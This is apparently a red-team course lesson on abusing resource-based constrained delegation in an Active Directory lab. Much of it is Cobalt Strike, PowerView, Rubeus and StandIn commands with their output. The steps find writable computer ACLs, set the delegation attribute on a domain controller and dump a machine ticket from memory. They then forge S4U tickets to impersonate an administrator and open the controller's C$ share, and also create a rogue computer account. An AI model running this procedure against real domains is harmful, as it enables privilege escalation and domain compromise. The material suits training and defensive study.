Enabling unconstrained or constrained delegation on a computer requires the SeEnableDelegationPrivilege user right assignment on domain controllers, which is only granted to enterprise and domain admins. Windows 2012 introduced a new type of delegation called resource-based constrained delegation (RBCD), which allows the delegation configuration to be set on the target rather than the source.
To compare - constrained delegation is configured on the "front-end" service via its msDS-AllowedToDelegateTo attribute. The example provided previously was where cifs/dc-2.dev.cyberbotic.io was in the msDS-AllowedToDelegateTo attribute of SQL-2. This allowed the SQL-2 computer account to impersonate any user to any service on DC-2, and DC-2 really had no "say" over it.
RBCD reverses this concept and puts control in the hands of the "backend" service instead, via a new attribute called msDS-AllowedToActOnBehalfOfOtherIdentity . This attribute also does not require SeEnableDelegationPrivilege to modify. Instead, you only need a privilege like WriteProperty, GenericAll, GenericWrite or WriteDacl on the computer object. This makes it much more likely to present itself as a privilege escalation / lateral movement opportunity.
The two major prerequisites to pull off the attack are:
A target computer on which you can modify msDS-AllowedToActOnBehalfOfOtherIdentity**.**
Control of another principal that has an SPN.
\
This query will obtain every domain computer and read their ACL, filtering on the interesting rights. This will produce a handful of results, but the one shown is the one of interest. It shows that the Developers group has WriteProperty rights on all properties (see the ObjectAceType) for DC-2.
Copy beacon> powershell Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }
AceQualifier : AccessAllowed
ObjectDN : CN=DC-2,OU=Domain Controllers,DC=dev,DC=cyberbotic,DC=io
ActiveDirectoryRights : Self, WriteProperty
ObjectAceType : All
ObjectSID : S-1-5-21-569305411-121244042-2357301523-1000
InheritanceFlags : ContainerInherit
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : InheritedObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-569305411-121244042-2357301523-1107
AccessMask : 40
AuditFlags : None
IsInherited : True
AceFlags : ContainerInherit, Inherited
InheritedObjectAceType : Computer
OpaqueLength : 0
beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
DEV\Developers
\
A common means of obtaining a principal with an SPN is to use a computer account. Since we have elevated privileges on Workstation 2, we can use that. To start the attack, we need its SID.
Copy beacon> powershell Get-DomainComputer -Identity wkstn-2 -Properties objectSid
objectsid
---------
S-1-5-21-569305411-121244042-2357301523-1109
\
We'll then use this inside an SDDL to create a security descriptor. The content of msDS-AllowedToActOnBehalfOfOtherIdentity must be in raw binary format.
Copy $rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-569305411-121244042-2357301523-1109)"
$rsdb = New-Object byte[] ($rsd.BinaryLength)
$rsd.GetBinaryForm($rsdb, 0)
\
These descriptor bytes can then be used with Set-DomainObject
. However, since we're working through Cobalt Strike, everything has to be concatenated into a single PowerShell command.
Copy beacon> powershell $rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-569305411-121244042-2357301523-1109)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-DomainComputer -Identity "dc-2" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose
Setting 'msDS-AllowedToActOnBehalfOfOtherIdentity' to '1 0 4 128 20 0 0 0 0 0 0 0 0 0 0 0 36 0 0 0 1 2 0 0 0 0 0 5 32 0 0 0 32 2 0 0 2 0 44 0 1 0 0 0 0 0 36 0 255 1 15 0 1 5 0 0 0 0 0 5 21 0 0 0 67 233 238 33 138 9 58 7 19 145 129 140 85 4 0 0' for object 'DC-2$'
beacon> powershell Get-DomainComputer -Identity "dc-2" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}
\
Next, we use the WKSN-2$ account to perform the S4U impersonation with Rubeus. The s4u
command requires a TGT, RC4 or AES hash. Since we already have elevated access to it, we can just extract its TGT from memory.
Copy beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
[*] Current LUID : 0x3e7
------------------------------------------------------------------------------------------------------------------
| LUID | UserName | Service | EndTime |
------------------------------------------------------------------------------------------------------------------
| 0x3e4 | wkstn-2$ @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO | 9/13/2022 7:27:12 PM |
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap
[*] Target service : krbtgt
[*] Target LUID : 0x3e4
[*] Current LUID : 0x3e7
UserName : WKSTN-2$
Domain : DEV
LogonId : 0x3e4
UserSID : S-1-5-20
AuthenticationPackage : Negotiate
LogonType : Service
LogonTime : 9/13/2022 9:26:48 AM
LogonServer :
LogonServerDNSDomain :
UserPrincipalName : WKSTN-2$@dev.cyberbotic.io
ServiceName : krbtgt/DEV.CYBERBOTIC.IO
ServiceRealm : DEV.CYBERBOTIC.IO
UserName : WKSTN-2$
UserRealm : DEV.CYBERBOTIC.IO
StartTime : 9/13/2022 9:27:12 AM
EndTime : 9/13/2022 7:27:12 PM
RenewTill : 9/20/2022 9:27:12 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : qEQBH1TdRRjZiZ0iXbeCy4Z3MsOf30l8lLTNE4InemY=
Base64EncodedTicket :
doIFuD[...]5JTw==
\
Then perform the s4u
.
Copy beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:WKSTN-2$ /impersonateuser:nlamb /msdsspn:cifs/dc-2.dev.cyberbotic.io /ticket:doIFuD[...]5JTw== /nowrap
[*] Building S4U2self request for: 'WKSTN-2$@DEV.CYBERBOTIC.IO'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2self request to 10.10.122.10:88
[+] S4U2self success!
[*] Got a TGS for 'nlamb' to 'WKSTN-2$@DEV.CYBERBOTIC.IO'
[*] base64(ticket.kirbi):
doIFoD[...]0yJA==
[*] Impersonating user 'nlamb' to target SPN 'cifs/dc-2.dev.cyberbotic.io'
[*] Building S4U2proxy request for service: 'cifs/dc-2.dev.cyberbotic.io'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2proxy request to domain controller 10.10.122.10:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc-2.dev.cyberbotic.io':
doIGcD[...]MuaW8=
\
Finally, pass the ticket into a logon session for use.
Copy beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIGcD[...]MuaW8=
[*] Using DEV\nlamb:FakePass
[*] Showing process : False
[*] Username : nlamb
[*] Domain : DEV
[*] Password : FakePass
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 4092
[+] Ticket successfully imported!
[+] LUID : 0x6cb934
beacon> steal_token 4092
[+] Impersonated DEV\bfarmer
beacon> ls \\dc-2.dev.cyberbotic.io\c$
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/15/2022 15:44:08 $Recycle.Bin
dir 08/10/2022 04:55:17 $WinREAgent
dir 08/10/2022 05:05:53 Boot
dir 08/18/2021 23:34:55 Documents and Settings
dir 08/19/2021 06:24:49 EFI
dir 08/15/2022 16:09:55 inetpub
dir 05/08/2021 08:20:24 PerfLogs
dir 08/24/2022 10:51:51 Program Files
dir 08/10/2022 04:06:16 Program Files (x86)
dir 09/12/2022 09:45:09 ProgramData
dir 08/15/2022 15:23:23 Recovery
dir 08/16/2022 12:37:38 Shares
dir 09/05/2022 12:03:43 System Volume Information
dir 08/15/2022 15:24:39 Users
dir 09/12/2022 09:28:56 Windows
427kb fil 08/10/2022 05:00:07 bootmgr
1b fil 05/08/2021 08:14:33 BOOTNXT
1kb fil 08/15/2022 16:16:13 dc-2.dev.cyberbotic.io_sub-ca.req
12kb fil 09/05/2022 07:25:58 DumpStack.log
12kb fil 09/13/2022 09:25:49 DumpStack.log.tmp
384mb fil 09/13/2022 09:25:49 pagefile.sys
\
To clear up, simply remove the msDS-AllowedToActOnBehalfOfOtherIdentity entry on the target.
Copy beacon> powershell Get-DomainComputer -Identity dc-2 | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity
\
\
If you did not have local admin access to a computer already, you can resort to creating your own computer object. By default, even domain users can join up to 10 computers to a domain - controlled via the ms-DS-MachineAccountQuota attribute of the domain object.
Copy beacon> powershell Get-DomainObject -Identity "DC=dev,DC=cyberbotic,DC=io" -Properties ms-DS-MachineAccountQuota
ms-ds-machineaccountquota
-------------------------
10
\
StandIn is a post-ex toolkit written by Ruben Boonen and has the functionality to create a computer with a random password.
Copy beacon> execute-assembly C:\Tools\StandIn\StandIn\StandIn\bin\Release\StandIn.exe --computer EvilComputer --make
[?] Using DC : dc-2.dev.cyberbotic.io
|_ Domain : dev.cyberbotic.io
|_ DN : CN=EvilComputer,CN=Computers,DC=dev,DC=cyberbotic,DC=io
|_ Password : oIrpupAtF1YCXaw
[+] Machine account added to AD..
\
Rubeus hash
can take that password and calculate their hashes.
Copy PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe hash /password:oIrpupAtF1YCXaw /user:EvilComputer$ /domain:dev.cyberbotic.io
[*] Action: Calculate Password Hash(es)
[*] Input password : oIrpupAtF1YCXaw
[*] Input username : EvilComputer$
[*] Input domain : dev.cyberbotic.io
[*] Salt : DEV.CYBERBOTIC.IOhostevilcomputer.dev.cyberbotic.io
[*] rc4_hmac : 73D0774058830F841C9205C857C9EE62
[*] aes128_cts_hmac_sha1 : FB9A1AB8567D4EF4CEA6186A115D091A
[*] aes256_cts_hmac_sha1 : 7A79DCC14E6508DA9536CD949D857B54AE4E119162A865C40B3FFD46059F7044
[*] des_cbc_md5 : 49B5514F1F45700D
\
These can then be used with asktgt
to obtain a TGT for the fake computer.
Copy beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:EvilComputer$ /aes256:7A79DCC14E6508DA9536CD949D857B54AE4E119162A865C40B3FFD46059F7044 /nowrap
[*] Action: Ask TGT
[*] Using aes256_cts_hmac_sha1 hash: 7A79DCC14E6508DA9536CD949D857B54AE4E119162A865C40B3FFD46059F7044
[*] Building AS-REQ (w/ preauth) for: 'dev.cyberbotic.io\EvilComputer$'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIF8j[...]MuaW8=
ServiceName : krbtgt/dev.cyberbotic.io
ServiceRealm : DEV.CYBERBOTIC.IO
UserName : EvilComputer$
UserRealm : DEV.CYBERBOTIC.IO
StartTime : 9/13/2022 2:31:34 PM
EndTime : 9/14/2022 12:31:34 AM
RenewTill : 9/20/2022 2:31:34 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : /s6yAyTa1670VNAT9yYBGya/mqOU/YJSLu0XuD2ReBE=
ASREP (key) : 7A79DCC14E6508DA9536CD949D857B54AE4E119162A865C40B3FFD46059F7044
\
And the rest of the attack is the same.